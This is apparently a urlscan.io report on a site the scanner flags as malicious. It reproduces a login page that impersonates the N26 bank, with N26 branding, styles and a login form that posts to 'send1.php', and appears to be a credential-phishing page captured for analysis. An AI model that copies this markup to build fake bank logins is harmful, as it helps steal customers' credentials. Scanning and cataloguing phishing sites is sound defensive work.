protboy.com.br
Open in
urlscan Pro
2a02:4780:b:665:0:15fc:5dbc:10
Malicious Activity!
Public Scan
Submitted URL: https://motionrobotics.wixsite.com/so/74P2zVL07/c?w=iwdhZwjY3TxUXbCvZS0vzYvpUfAsVNZtApc8SGU2VIg.eyJ1IjoiaHR0cHM6Ly93d3cua3lsb2Nhbml...
Effective URL: https://protboy.com.br/user/login/MyAccount/
Submission: On July 17 via manual from HK — Scanned from CA
Effective URL: https://protboy.com.br/user/login/MyAccount/
Submission: On July 17 via manual from HK — Scanned from CA
Form analysis
2 forms found in the DOMName: orderfrm — POST send1.php
<form method="post" action="send1.php" name="orderfrm" id="frmCheckout">
<title>Login</title>
<meta data-rh="true" name="description" content="Login">
<meta data-rh="true" name="robots" content="">
<meta data-rh="true" name="theme-color" content="rgb(255, 255, 255)">
<meta data-rh="true" property="og:type" content="website">
<meta data-rh="true" property="og:title" content="Login">
<meta data-rh="true" property="og:description" content="Login">
<meta data-rh="true" property="og:image" content="img/og-image-n26.e512c848b13455529700699c1b662537.jpg">
<meta data-rh="true">
<meta data-rh="true" name="twitter:card" content="summary_large_image">
<meta data-rh="true" name="twitter:site" content="@n26">
<meta data-rh="true" name="twitter:title" content="Login">
<meta data-rh="true" name="twitter:description" content="Login">
<meta data-rh="true" name="twitter:image" content="img/og-image-n26.e512c848b13455529700699c1b662537.jpg">
<meta data-rh="true" name="apple-itunes-app" content="app-id=956857223">
<script async="" src="Login_files/n26_sp_282.js"></script>
<script nonce=""></script>
<style>
<script async="" src="Login_files/n26_sp_282.js"></script><script nonce="">var h=window.location.hash if (h.slice(0, 6)==='#/p2p/') window.location.href='/moneybeam/'+h.slice(6) if (h.slice(0, 9)==='#/support') window.location.href='https://support.n26.com'
</script><link rel="preload" src="/build/fonts/GT-America-Standard-Regular.latin.woff2" as="font" type="font/woff2" crossorigin="anonymous"><link rel="preload" src="/build/fonts/GT-America-Extended-Medium.latin.woff2" as="font" type="font/woff2" crossorigin="anonymous"><style>@font-face {
font-family: 'N26';
font-style: normal;
font-weight: 400;
font-display: swap;
src:
url('/build/fonts/GT-America-Standard-Regular.latin.woff2') format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
@font-face {
font-family: 'N26';
font-style: normal;
font-weight: 500;
font-display: swap;
src:
url('/build/fonts/GT-America-Standard-Medium.latin.woff2') format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
@font-face {
font-family: 'N26';
font-style: normal;
font-weight: 600;
font-display: swap;
src:
url('/build/fonts/GT-America-Extended-Medium.latin.woff2') format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
@font-face {
font-family: 'N26';
font-style: normal;
font-weight: 700;
font-display: swap;
src:
url('/build/fonts/GT-America-Standard-Bold.latin.woff2') format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
@font-face {
font-family: 'N26';
font-style: normal;
font-weight: 400;
font-display: swap;
src:
url('/build/fonts/GT-America-Standard-Regular.latin-ext.woff2') format('woff2');
unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
@font-face {
font-family: 'N26';
font-style: normal;
font-weight: 500;
font-display: swap;
src:
url('/build/fonts/GT-America-Standard-Medium.latin-ext.woff2') format('woff2');
unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
@font-face {
font-family: 'N26';
font-style: normal;
font-weight: 600;
font-display: swap;
src:
url('/build/fonts/GT-America-Extended-Medium.latin-ext.woff2') format('woff2');
unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
@font-face {
font-family: 'N26';
font-style: normal;
font-weight: 700;
font-display: swap;
src:
url('/build/fonts/GT-America-Standard-Bold.latin-ext.woff2') format('woff2');
unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
</style>
<link data-chunk="client" rel="stylesheet" href="Login_files/client.4a447f73.js">
<style data-fela-id="" data-fela-rehydration="340" data-fela-type="STATIC">
:root {
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
--duration: 1;
--app-height: 100%;
--responsive-base: 1;
--background-default: rgb(255, 255, 255);
--background-alternate: rgb(249, 249, 249);
--background-screen: rgb(249, 249, 249);
--background-button-primary-active: rgb(72, 172, 152);
--background-button-primary-pressed: rgb(72, 172, 152);
--background-button-primary-disabled: rgb(232, 242, 238);
--background-button-secondary: rgb(255, 255, 255);
--background-container-teal: rgb(72, 172, 152);
--background-container-rhubarb: rgb(203, 124, 122);
--background-container-wheat: rgb(200, 157, 88);
--background-container-petrol: rgb(43, 105, 122);
--background-container-secondary-teal: rgb(204, 227, 218);
--background-container-secondary-rhubarb: rgb(235, 214, 214);
--background-container-secondary-wheat: rgb(235, 221, 204);
--background-container-secondary-petrol: rgb(204, 220, 226);
--background-container-light: rgb(242, 242, 242);
--background-container-light-teal: rgb(232, 242, 238);
--background-container-light-rhubarb: rgb(242, 228, 228);
--background-container-light-wheat: rgb(242, 236, 225);
--background-container-light-petrol: rgb(233, 238, 242);
--background-container-lightest-petrol: rgb(233, 238, 242);
--background-container-dark-teal: rgb(42, 126, 109);
--background-container-dark-wheat: rgb(140, 108, 58);
--background-container-dark-petrol: rgb(9, 61, 77);
--background-container-dark-rhubarb: rgb(158, 89, 87);
--background-container-alpha-teal: rgb(72, 172, 152, 0.5);
--background-container-alpha-wheat: rgb(205, 163, 95, 0.5);
--background-container-alpha-petrol: rgba(38, 102, 120, 0.5);
--background-container-alpha-rhubarb: rgb(203, 124, 122, 0.5);
--background-light-error-red: rgb(248, 237, 237);
--background-info-card: rgb(233, 233, 233);
--typography-primary-default: rgb(27, 27, 27);
--typography-primary-inverted: rgb(255, 255, 255);
--typography-primary-consistent: rgb(27, 27, 27);
--typography-primary-inverted-consistent: rgb(255, 255, 255);
--typography-secondary-default: rgb(105, 105, 105);
--typography-secondary-consistent: rgb(105, 105, 105);
--typography-disabled: rgb(171, 171, 171);
--typography-interactive-primary-teal-consistent: rgb(54, 161, 139);
--typography-interactive-primary-wheat-consistent: rgb(200, 157, 88);
--typography-interactive-primary-petrol-default: rgb(43, 105, 122);
--typography-interactive-primary-petrol-consistent: rgb(43, 105, 122);
--typography-interactive-primary-rhubarb-default: rgb(179, 93, 91);
--typography-interactive-primary-rhubarb-consistent: rgb(179, 93, 91);
--typography-interactive-secondary-teal-default: rgb(31, 117, 96);
--typography-interactive-secondary-teal-consistent: rgb(31, 117, 96);
--typography-interactive-secondary-wheat-consistent: rgb(166, 121, 49);
--typography-interactive-secondary-petrol-default: rgb(32, 91, 107);
--typography-interactive-secondary-petrol-consistent: rgb(32, 91, 107);
--typography-interactive-secondary-rhubarb-consistent: rgb(142, 70, 68);
--typography-positive-amount: rgb(54, 161, 139);
--border-primary-gray: rgb(233, 233, 233);
--border-primary-teal: rgb(31, 117, 96);
--border-primary-petrol: rgb(24, 81, 97);
--border-primary-wheat: rgb(128, 91, 32);
--border-primary-rhubarb: rgb(142, 70, 68);
--border-secondary-gray: rgb(150, 150, 150);
--border-secondary-teal: rgb(54, 161, 139);
--border-secondary-petrol: rgb(43, 105, 122);
--border-secondary-wheat: rgb(166, 121, 49);
--border-secondary-rhubarb: rgb(179, 93, 91);
--divider-default: rgb(233, 233, 233);
--divider-default-consistent: rgb(233, 233, 233);
--background-screen-default: rgb(255, 255, 255);
--background-container-primary-default: rgb(255, 255, 255);
--background-container-primary-teal: rgb(54, 161, 139);
--background-container-primary-wheat: rgb(200, 157, 88);
--background-container-primary-petrol: rgb(43, 105, 122);
--background-container-primary-rhubarb: rgb(179, 93, 91);
--background-container-primary-gray: rgb(150, 150, 150);
--background-container-primary-hovered: rgb(249, 249, 249);
--background-container-primary-pressed: rgb(242, 242, 242);
--background-elevated-container-primary-default: rgb(255, 255, 255);
--background-container-secondary-gray: rgb(233, 233, 233);
--background-container-tertiary-teal: rgb(232, 242, 238);
--background-container-tertiary-teal-pressed: rgb(204, 227, 218);
--background-container-tertiary-wheat: rgb(242, 236, 225);
--background-container-tertiary-wheat-pressed: rgb(235, 221, 204);
--background-container-tertiary-petrol: rgb(233, 238, 242);
--background-container-tertiary-petrol-pressed: rgb(204, 220, 226);
--background-container-tertiary-rhubarb: rgb(242, 232, 232);
--background-container-tertiary-rhubarb-pressed: rgb(235, 214, 214);
--background-container-tertiary-gray: rgb(242, 242, 242);
--background-container-tertiary-gray-pressed: rgb(233, 233, 233);
--background-error: rgb(242, 232, 232);
--background-positive-amount: rgb(232, 242, 238);
--background-navigation-bottom: rgb(255, 255, 255);
--background-button-primary-teal-default: rgb(54, 161, 139);
--background-button-primary-teal-pressed: rgb(31, 117, 96);
--background-button-primary-teal-disabled: rgb(130, 196, 178);
--background-button-primary-teal-hover-and-focused: rgb(54, 161, 139);
--background-button-primary-wheat-default: rgb(166, 121, 49);
--background-button-primary-wheat-pressed: rgb(128, 91, 32);
--background-button-primary-wheat-disabled: rgb(225, 197, 161);
--background-button-primary-wheat-hover-and-focused: rgb(166, 121, 49);
--background-button-primary-petrol-default: rgb(43, 105, 122);
--background-button-primary-petrol-pressed: rgb(24, 81, 97);
--background-button-primary-petrol-disabled: rgb(204, 220, 226);
--background-button-primary-petrol-hover-and-focused: rgb(43, 105, 122);
--background-button-primary-rhubarb-default: rgb(179, 93, 91);
--background-button-primary-rhubarb-pressed: rgb(142, 70, 68);
--background-button-primary-rhubarb-disabled: rgb(222, 172, 171);
--background-button-primary-rhubarb-hover-and-focused: rgb(179, 93, 91);
--background-button-secondary-default: rgb(255, 255, 255);
--background-button-secondary-pressed: rgb(242, 242, 242);
--background-button-tertiary-teal-pressed: rgb(232, 242, 238);
--background-button-tertiary-wheat-pressed: rgb(242, 236, 225);
--background-button-tertiary-petrol-pressed: rgb(233, 238, 242);
--background-button-tertiary-rhubarb-pressed: rgb(242, 232, 232);
--background-button-tertiary-hover-and-focused: rgb(255, 255, 255);
--overlay-default: rgb(27, 27, 27);
--overlay-default-consistent: rgb(27, 27, 27);
--shadow-default: rgba(0, 0, 0, 0.2);
--phone-frame-foreground: rgb(233, 233, 233);
--phone-frame-background: rgb(249, 249, 249);
--iconography-primary-default: rgb(27, 27, 27);
--iconography-primary-consistent: rgb(27, 27, 27);
--iconography-primary-default-inverted: rgb(255, 255, 255);
--iconography-primary-inverted-consistent: rgb(255, 255, 255);
--iconography-secondary-default: rgb(105, 105, 105);
--iconography-disabled: rgb(171, 171, 171);
--iconography-interactive-primary-teal-consistent: rgb(54, 161, 139);
--iconography-interactive-primary-teal-disabled: rgb(130, 196, 178);
--iconography-interactive-primary-petrol-default: rgb(43, 105, 122);
--iconography-interactive-primary-petrol-consistent: rgb(43, 105, 122);
--iconography-interactive-primary-petrol-disabled: rgb(121, 161, 173);
--iconography-interactive-primary-rhubarb-default: rgb(179, 93, 91);
--iconography-interactive-primary-rhubarb-consistent: rgb(179, 93, 91);
--iconography-interactive-primary-rhubarb-disabled: rgb(222, 172, 171);
--iconography-interactive-secondary-teal-default: rgb(31, 117, 96);
--iconography-interactive-secondary-teal-consistent: rgb(31, 117, 96);
--iconography-interactive-secondary-petrol-default: rgb(32, 91, 107);
--iconography-interactive-secondary-petrol-consistent: rgb(32, 91, 107);
--progress-background: rgb(204, 227, 218);
--progress-foreground: rgb(54, 161, 139);
--shimmer-loader-background: rgb(242, 242, 242);
--shimmer-loader-foreground: rgb(249, 249, 249);
--bright-overlay: rgb(255, 255, 255, 0.75);
--mild-overlay: rgba(0, 0, 0, 0.075);
--distinct-overlay: rgba(0, 0, 0, 0.2);
--primary-focus: rgba(54, 161, 139, 0.6);
--typography-default: rgb(18, 18, 18);
--typography-default-inverted: rgb(255, 255, 255);
--typography-default-consistent: rgb(18, 18, 18);
--typography-default-inverted-consistent: rgb(255, 255, 255);
--typography-interactive-rhubarb: rgb(203, 124, 122);
--typography-interactive-default: rgb(72, 172, 152);
--typography-interactive-teal: rgb(72, 172, 152);
--typography-extra-light: rgb(191, 191, 191);
--typography-light: rgb(116, 116, 116);
--typography-error: rgb(180, 75, 70);
--divider-teal: rgb(72, 172, 152);
--divider-error: rgb(180, 75, 70);
--divider-dark: rgb(116, 116, 116);
--iconography-default: rgb(18, 18, 18);
--iconography-default-inverted: rgb(255, 255, 255);
--iconography-light: rgb(116, 116, 116);
--iconography-bright: rgb(233, 233, 233);
--iconography-action: rgb(72, 172, 152);
--iconography-rhubarb: rgb(179, 93, 91);
--shimmer-background: rgb(233, 233, 233);
--shimmer-foreground: rgb(249, 249, 249);
--deprecated-gray: rgb(201, 201, 201);
/* 1 */
--spacing-5-xl: 4.4em;
--spacing-4-xl: 3.85em;
--spacing-3-xl: 3.3em;
--spacing-2-xl: 2.75em;
--spacing-xl: 2.2em;
--spacing-l: 1.65em;
--spacing-m: 1.1em;
--spacing-s: 0.88em;
--spacing-xs: 0.825em;
--spacing-2-xs: 0.55em;
--spacing-3-xs: 0.275em;
--spacing-4-xs: 0.22em;
--spacing-5-xs: 0.165em;
--spacing-6-xs: 0.11em;
--font-size-6-xl: 2.8rem;
--font-size-5-xl: 2.2rem;
--font-size-4-xl: 2rem;
--font-size-3-xl: 1.8rem;
--font-size-2-xl: 1.5rem;
--font-size-xl: 1.3rem;
--font-size-l: 1.2rem;
--font-size-m: 1.1rem;
--font-size-s: 1rem;
--font-size-xs: 0.9rem;
--font-size-2-xs: 0.85rem;
--font-size-3-xs: 0.8rem;
--font-size-4-xs: 0.7rem;
--font-size-5-xs: 0.6rem;
--line-height-5-xl: 1.8;
--line-height-4-xl: 1.7;
--line-height-3-xl: 1.6;
--line-height-2-xl: 1.5;
--line-height-xl: 1.45;
--line-height-l: 1.4;
--line-height-m: 1.2;
--line-height-s: 1.1;
--line-height-xs: 1;
--width-7-xl: 88ch;
--width-6-xl: 77ch;
--width-5-xl: 71.5ch;
--width-4-xl: 66ch;
--width-3-xl: 49.5ch;
--width-2-xl: 48.4ch;
--width-xl: 44ch;
--width-l: 41.8ch;
--width-m: 33ch;
--width-s: 27.5ch;
--width-xs: 22ch;
--width-2-xs: 15.4ch;
--width-3-xs: 13.2ch;
--width-4-xs: 11ch;
--width-5-xs: 8.8ch;
--width-6-xs: 5.5ch;
--width-7-xs: 3.3ch;
--width-8-xs: 1.1ch;
--width-9-xs: 0.825ch;
--width-10-xs: 0.55ch;
--width-11-xs: 0.33ch;
--width-12-xs: 0.11ch;
--border-radius-5-xl: 34px;
--border-radius-4-xl: 27px;
--border-radius-3-xl: 22px;
--border-radius-2-xl: 14px;
--border-radius-xl: 10px;
--border-radius-l: 8px;
--border-radius-m: 6px;
--border-radius-s: 5px;
--border-radius-xs: 4px;
--border-radius-2-xs: 2px;
--border-radius-credit-card: 3% 5%;
--border-radius-half: 50%;
--border-radius-circle: 100vw;
scroll-behavior: smooth;
/* 2 */
}
@media (max-width: 767px) {
:root {
--responsive-base: 0.8;
touch-action: manipulation;
}
}
@media (prefers-reduced-motion: reduce) {
:root {
--duration: 0;
scroll-behavior: auto
}
}
*,
::before,
::after {
box-sizing: inherit
}
duet-date-picker {
width: 100%
}
.duet-date__day[aria-pressed=true],
.duet-date__day:focus {
background-color: var(--background-container-primary-teal);
color: var(--typography-primary-inverted-consistent);
border-top-left-radius: 0;
border-top-right-radius: 0;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0
}
.duet-date__dialog {
z-index: 2
}
@media (max-width: 767px) {
.duet-date__dialog-content {
min-height: 28rem
}
}
.duet-date__dialog-content {
background-color: var(--background-screen-default)
}
.duet-date__cell>.is-month:not(.is-outside) {
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: solid;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: solid;
border-top-color: var(--divider-default);
border-right-color: var(--divider-default);
border-bottom-color: var(--divider-default);
border-left-color: var(--divider-default);
border-top-left-radius: 0;
border-top-right-radius: 0;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0
}
.duet-date__cell .is-outside,
.duet-date__day:not(.is-month) {
color: var(--typography-disabled)
}
html {
background-color: var(--background-alternate);
box-sizing: border-box;
font-weight: 400;
min-height: 100%;
-ms-text-size-adjust: 100%;
-webkit-text-size-adjust: 100%
}
html,
body,
[id="root"] {
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
flex-direction: column;
-webkit-box-orient: vertical;
-webkit-box-direction: normal;
flex-grow: 1;
flex-shrink: 1;
flex-basis: auto
}
body {
font-family: N26, sans-serif;
font-size: 112.5%;
line-height: 1.4;
color: var(--typography-default);
overflow-x: hidden;
text-underline-position: under;
margin-top: 0;
margin-right: 0;
margin-bottom: 0;
margin-left: 0
}
img {
display: block;
height: auto;
max-width: 100%;
border-top-style: none;
border-right-style: none;
border-bottom-style: none;
border-left-style: none
}
main {
display: block
}
[hidden] {
display: none
}
a {
background-color: transparent;
-webkit-text-decoration-skip: objects
}
svg:not(:root) {
overflow-x: hidden;
overflow-y: hidden
}
hr {
overflow-x: visible;
overflow-y: visible
}
button,
input,
select,
textarea {
font: inherit;
margin-top: 0;
margin-right: 0;
margin-bottom: 0;
margin-left: 0
}
button,
input {
overflow-x: visible;
overflow-y: visible
}
button,
select {
text-transform: none
}
button,
html [type="button"],
[type="reset"],
[type="submit"] {
-webkit-appearance: button
}
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
border-top-style: none;
border-right-style: none;
border-bottom-style: none;
border-left-style: none;
padding-top: 0;
padding-right: 0;
padding-bottom: 0;
padding-left: 0
}
button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
outline-width: 1px;
outline-style: dotted;
outline-color: ButtonText
}
fieldset {
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: solid;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: solid;
border-top-color: rgb(192, 192, 192);
border-right-color: rgb(192, 192, 192);
border-bottom-color: rgb(192, 192, 192);
border-left-color: rgb(192, 192, 192);
margin-top: 0;
margin-right: 2px;
margin-bottom: 0;
margin-left: 2px;
padding-top: 0.35em;
padding-right: 0.625em;
padding-bottom: var(--spacing-xs);
padding-left: 0.625em
}
legend {
box-sizing: border-box;
display: table;
max-width: 100%;
white-space: normal;
color: inherit;
padding-top: 0;
padding-right: 0;
padding-bottom: 0;
padding-left: 0
}
textarea {
overflow-x: auto;
overflow-y: auto
}
[type="checkbox"],
[type="radio"] {
padding-top: 0;
padding-right: 0;
padding-bottom: 0;
padding-left: 0
}
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height: auto
}
[type="search"] {
-webkit-appearance: textfield;
outline-offset: -2px
}
[type="search"]::-webkit-search-cancel-button,
[type="search"]::-webkit-search-decoration {
-webkit-appearance: none
}
::-webkit-input-placeholder {
color: inherit;
opacity: 0.54
}
::-webkit-file-upload-button {
-webkit-appearance: button;
font: inherit
}
:-webkit-autofill,
:-webkit-autofill:hover,
:-webkit-autofill:focus,
:-webkit-autofill:active {
transition: background-color 1000000ms, color 1000000ms;
-webkit-transition: background-color 1000000ms, color 1000000ms;
-moz-transition: background-color 1000000ms, color 1000000ms
}
:required:-moz-ui-invalid {
box-shadow: none
}
.visually-hidden {
border-top-width: 0 !important;
border-right-width: 0 !important;
border-bottom-width: 0 !important;
border-left-width: 0 !important;
clip: rect(1px, 1px, 1px, 1px) !important;
height: 1px !important;
padding-top: 0 !important;
padding-right: 0 !important;
padding-bottom: 0 !important;
padding-left: 0 !important;
position: absolute !important;
white-space: nowrap !important;
width: 1px !important;
overflow-x: hidden;
overflow-y: !important
}
strong,
b {
font-weight: 500
}
audio,
canvas,
iframe,
img,
svg,
video {
vertical-align: middle
}
p {
margin-top: 0;
margin-bottom: var(--spacing-m)
}
</style>
<style data-fela-id="" data-fela-rehydration="340" data-fela-type="RULE">
.a {
border-top-width: 0 !important
}
.b {
border-right-width: 0 !important
}
.c {
border-bottom-width: 0 !important
}
.d {
border-left-width: 0 !important
}
.e {
clip: rect(1px, 1px, 1px, 1px) !important
}
.f {
height: 1px !important
}
.g {
padding-top: 0 !important
}
.h {
padding-right: 0 !important
}
.i {
padding-bottom: 0 !important
}
.j {
padding-left: 0 !important
}
.k {
position: absolute !important
}
.l {
white-space: nowrap !important
}
.m {
width: 1px !important
}
.n {
overflow-x: hidden
}
.o {
overflow-y: !important
}
.p {
width: 100%
}
.q {
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex
}
.r {
flex-direction: column;
-webkit-box-orient: vertical;
-webkit-box-direction: normal
}
.s {
flex-grow: 1
}
.t {
flex-shrink: 1
}
.u {
flex-basis: auto
}
.v {
align-items: center;
-webkit-box-align: center
}
.w {
position: relative
}
.x {
margin-top: auto
}
.y {
margin-right: auto
}
.z {
margin-bottom: auto
}
.ab {
margin-left: auto
}
.ak {
z-index: 1
}
.al {
background-color: var(--background-container-secondary-teal)
}
.am {
transition-property: background-color;
-webkit-transition-property: background-color;
-moz-transition-property: background-color
}
.an {
transition-duration: calc(var(--duration) * 350ms)
}
.ap {
flex-basis: 100%
}
.aq {
padding-top: var(--spacing-l)
}
.ar {
padding-right: var(--spacing-s)
}
.as {
padding-bottom: var(--spacing-l)
}
.at {
padding-left: var(--spacing-s)
}
.au {
background-color: var(--background-default)
}
.av {
width: auto
}
.aw {
min-height: 24rem
}
.ax {
align-items: stretch;
-webkit-box-align: stretch
}
.br {
text-align: center
}
.bs {
justify-content: center;
-webkit-box-pack: center
}
.bt {
max-width: 100%
}
.bu {
padding-top: var(--spacing-m)
}
.bv {
padding-bottom: var(--spacing-m)
}
.bw {
border-top-width: 1px
}
.bx {
border-right-width: 1px
}
.by {
border-bottom-width: 1px
}
.bz {
border-left-width: 1px
}
.ca {
border-top-style: solid
}
.cb {
border-right-style: solid
}
.cc {
border-bottom-style: solid
}
.cd {
border-left-style: solid
}
.ce {
border-top-color: var(--divider-default)
}
.cf {
border-right-color: var(--divider-default)
}
.cg {
border-bottom-color: var(--divider-default)
}
.ch {
border-left-color: var(--divider-default)
}
.ci {
border-top-left-radius: var(--border-radius-xl)
}
.cj {
border-top-right-radius: var(--border-radius-xl)
}
.ck {
border-bottom-right-radius: var(--border-radius-xl)
}
.cl {
border-bottom-left-radius: var(--border-radius-xl)
}
.cm {
max-width: 21.5rem
}
.cn::after {
content: ""
}
.co::after {
display: block
}
.cp::after {
width: 21.5rem
}
.cq {
margin-top: 0
}
.cr {
margin-bottom: 0
}
.cs {
padding-top: var(--spacing-3-xs)
}
.ct {
padding-right: var(--spacing-3-xs)
}
.cu {
padding-bottom: var(--spacing-3-xs)
}
.cv {
padding-left: var(--spacing-3-xs)
}
.cw {
border-top-width: 0
}
.cx {
border-right-width: 0
}
.cy {
border-bottom-width: 0
}
.cz {
border-left-width: 0
}
.da {
background-color: transparent
}
.db {
font-style: inherit
}
.dc {
font-weight: inherit
}
.dd {
font-size: inherit
}
.de {
line-height: inherit
}
.df {
font-family: inherit
}
.dg {
color: inherit
}
.dh {
text-align: left
}
.di {
cursor: pointer
}
.dj {
display: block
}
.dk {
width: 5rem
}
.dr {
text-decoration-line: none
}
.ds {
margin-top: calc(var(--spacing-3-xs) * -1)
}
.dt {
margin-bottom: calc(var(--spacing-l) - var(--spacing-3-xs))
}
.du {
fill: currentcolor
}
.dv {
max-height: 2.2rem
}
.dw {
box-shadow: none
}
.dx {
font-size: var(--font-size-s)
}
.dy {
line-height: 1.3333333333333333
}
.dz {
color: var(--typography-default)
}
.ea[disabled] {
cursor: not-allowed
}
.eb[disabled] {
opacity: 0.5
}
.ec[disabled] {
pointer-events: none
}
.ed[readonly] {
cursor: not-allowed
}
.ee[readonly] {
opacity: 0.5
}
.ef[readonly] {
pointer-events: none
}
.eg+ul {
margin-top: 6px
}
.eh+ul {
margin-right: -1px
}
.ei+ul {
margin-bottom: 0
}
.ej+ul {
margin-left: -1px
}
.ek+ul {
padding-top: 0
}
.el+ul {
padding-right: 0
}
.em+ul {
padding-bottom: 0
}
.en+ul {
padding-left: 0
}
.eo+ul {
list-style: none
}
.ep+ul> ::before {
position: absolute
}
.eq+ul> ::before {
content: "\200B"
}
.er+ul {
background-color: var(--background-default)
}
.es+ul {
box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.1)
}
.et+ul {
position: absolute
}
.eu+ul {
left: 0
}
.ev+ul {
right: 0
}
.ew+ul {
z-index: 50
}
.ez+ul {
border-top-width: 1px
}
.fa+ul {
border-right-width: 1px
}
.fc+ul {
border-bottom-width: 1px
}
.fd+ul {
border-left-width: 1px
}
.fe+ul {
border-top-style: solid
}
.ff+ul {
border-right-style: solid
}
.fg+ul {
border-bottom-style: solid
}
.fh+ul {
border-left-style: solid
}
.fi+ul {
border-top-color: var(--divider-default)
}
.fj+ul {
border-right-color: var(--divider-default)
}
.fk+ul {
border-bottom-color: var(--divider-default)
}
.fl+ul {
border-left-color: var(--divider-default)
}
.fm+ul {
border-top-left-radius: var(--border-radius-l)
}
.fn+ul {
border-top-right-radius: var(--border-radius-l)
}
.fo+ul {
border-bottom-right-radius: var(--border-radius-l)
}
.fp+ul {
border-bottom-left-radius: var(--border-radius-l)
}
.fq+ul>li:not(:last-child) {
border-bottom-width: 1px
}
.fr+ul>li:not(:last-child) {
border-bottom-style: solid
}
.fs+ul>li:not(:last-child) {
border-bottom-color: var(--divider-default)
}
.ft+ul>li {
font-size: var(--font-size-s)
}
.fu+ul>li {
text-align: left
}
.fv+ul>li:first-child {
border-top-left-radius: var(--border-radius-l)
}
.fw+ul>li:first-child {
border-top-right-radius: var(--border-radius-l)
}
.fx+ul>li:last-child {
border-bottom-left-radius: var(--border-radius-l)
}
.fy+ul>li:last-child {
border-bottom-right-radius: var(--border-radius-l)
}
.fz+ul>li:hover {
background-color: var(--background-container-teal)
}
.ga+ul>li:hover {
color: var(--typography-default-inverted)
}
.gb+ul>li:hover:not(:last-child) {
border-bottom-width: 1px
}
.gc+ul>li:hover:not(:last-child) {
border-bottom-style: solid
}
.gd+ul>li:hover:not(:last-child) {
border-bottom-color: rgba(255, 255, 255, 0.4)
}
.ge+ul>li:hover {
cursor: pointer
}
.gf+ul>li {
padding-top: var(--spacing-2-xs)
}
.gg+ul>li {
padding-right: var(--spacing-xs)
}
.gh+ul>li {
padding-bottom: var(--spacing-2-xs)
}
.gi+ul>li {
padding-left: var(--spacing-xs)
}
.gj+ul>[aria-selected="true"] {
background-color: var(--background-container-teal)
}
.gk+ul>[aria-selected="true"] {
color: var(--typography-default-inverted)
}
.gl+ul>[aria-selected="true"]:not(:last-child) {
border-bottom-width: 1px
}
.gm+ul>[aria-selected="true"]:not(:last-child) {
border-bottom-style: solid
}
.gn+ul>[aria-selected="true"]:not(:last-child) {
border-bottom-color: rgba(255, 255, 255, 0.4)
}
.go+ul mark {
background-color: transparent
}
.gp+ul mark {
color: inherit
}
.gq+ul mark {
border-bottom-width: 1px
}
.gr+ul mark {
border-bottom-style: solid
}
.gs::placeholder {
transition-property: opacity;
-webkit-transition-property: opacity;
-moz-transition-property: opacity
}
.gt::placeholder {
transition-duration: calc(var(--duration) * 0)
}
.gu::placeholder {
opacity: 0
}
.gv::-ms-input-placeholder {
opacity: 0.8
}
.gw::-ms-input-placeholder {
color: rgb(150, 150, 150)
}
.gx {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none
}
.gy {
height: 100%
}
.gz[type="date"]::-webkit-datetime-edit {
color: transparent
}
.ha {
border-top-left-radius: var(--border-radius-l)
}
.hb {
border-top-right-radius: var(--border-radius-l)
}
.hc {
border-bottom-right-radius: var(--border-radius-l)
}
.hd {
border-bottom-left-radius: var(--border-radius-l)
}
.he {
outline-style: none
}
.hf {
padding-top: var(--spacing-xl)
}
.hg {
padding-bottom: var(--spacing-xs)
}
.hh {
height: 4em
}
.hi {
transition-property: box-shadow, border-color;
-webkit-transition-property: box-shadow, border-color;
-moz-transition-property: box-shadow, border-color
}
.hj {
transition-duration: calc(var(--duration) * 400ms)
}
.hk {
-webkit-tap-highlight-color: transparent
}
.ia {
margin-bottom: var(--spacing-s)
}
.ib {
color: var(--typography-light)
}
.ic {
position: absolute
}
.id {
top: 50%
}
.ie {
left: var(--spacing-s)
}
.if {
transition-property: transform;
-webkit-transition-property: transform;
-moz-transition-property: transform
}
.ih {
transition-duration: calc(var(--duration) * 300ms)
}
.ii {
transform-origin: top left
}
.ij {
transform: translateY(-50%)
}
.ik {
margin-left: -2px
}
.il {
cursor: -webkit-text;
cursor: text
}
.im {
